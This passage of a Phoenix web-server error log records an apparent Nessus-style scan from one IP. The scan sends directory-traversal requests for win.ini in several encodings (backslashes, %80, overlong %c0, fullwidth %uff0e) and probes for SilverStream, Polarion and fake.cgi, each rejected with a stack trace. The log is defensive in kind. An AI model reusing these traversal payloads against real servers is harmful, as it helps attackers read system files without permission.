    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:50.848000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34044] GET /././././././../../../../../winnt/win.ini
[Thu Sep  3 07:58:50.876000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34044] ** (Phoenix.Router.NoRouteError) no route found for GET /././././././../../../../../winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:52.246000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:58:52.604000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:58:53.225000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35020] GET /nessus\..\..\..\..\..\..\windows\win.ini
[Thu Sep  3 07:58:53.252000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35020] ** (Phoenix.Router.NoRouteError) no route found for GET /nessus\..\..\..\..\..\..\windows\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:53.318000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35030] GET /SilverStream/Meta/Tables/
[Thu Sep  3 07:58:53.346000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35030] ** (Phoenix.Router.NoRouteError) no route found for GET /SilverStream/Meta/Tables (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:53.916000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35046] GET /nessus\..\..\..\..\..\..\winnt\win.ini
[Thu Sep  3 07:58:53.943000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35046] ** (Phoenix.Router.NoRouteError) no route found for GET /nessus\..\..\..\..\..\..\winnt\win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:54.618000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35048] GET /%80../%80../%80../%80../%80../%80../windows/win.ini
[Thu Sep  3 07:58:54.638000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35048] ** (Phoenix.Router.NoRouteError) no route found for GET /%80../%80../%80../%80../%80../%80../windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:55.315000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35052] GET /%80../%80../%80../%80../%80../%80../winnt/win.ini
[Thu Sep  3 07:58:55.330000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35052] ** (Phoenix.Router.NoRouteError) no route found for GET /%80../%80../%80../%80../%80../%80../winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:56.000000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35064] GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini
[Thu Sep  3 07:58:56.056000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35064] ** (Phoenix.Router.NoRouteError) no route found for GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:56.714000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35066] GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./winnt/win.ini
[Thu Sep  3 07:58:56.745000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35066] ** (Phoenix.Router.NoRouteError) no route found for GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:57.365000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35070] GET /%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/win.ini
[Thu Sep  3 07:58:57.388000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35070] ** (Phoenix.Router.NoRouteError) no route found for GET /%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:57.673000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35082] GET /SilverStream
[Thu Sep  3 07:58:57.696000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35082] ** (Phoenix.Router.NoRouteError) no route found for GET /SilverStream (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:59.073000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35084] GET /%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/winnt/win.ini
[Thu Sep  3 07:58:59.124000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35084] ** (Phoenix.Router.NoRouteError) no route found for GET /%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:58:59.961000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35098] GET /polarion/
[Thu Sep  3 07:58:59.984000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35098] ** (Phoenix.Router.NoRouteError) no route found for GET /polarion (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:00.002000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35114] GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini
[Thu Sep  3 07:59:00.022000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35114] ** (Phoenix.Router.NoRouteError) no route found for GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:00.754000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35120] GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini
[Thu Sep  3 07:59:00.795000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35120] ** (Phoenix.Router.NoRouteError) no route found for GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:01.462000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35126] GET /scripts/fake.cgi
[Thu Sep  3 07:59:01.539000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35126] ** (Phoenix.Router.NoRouteError) no route found for GET /scripts/fake.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
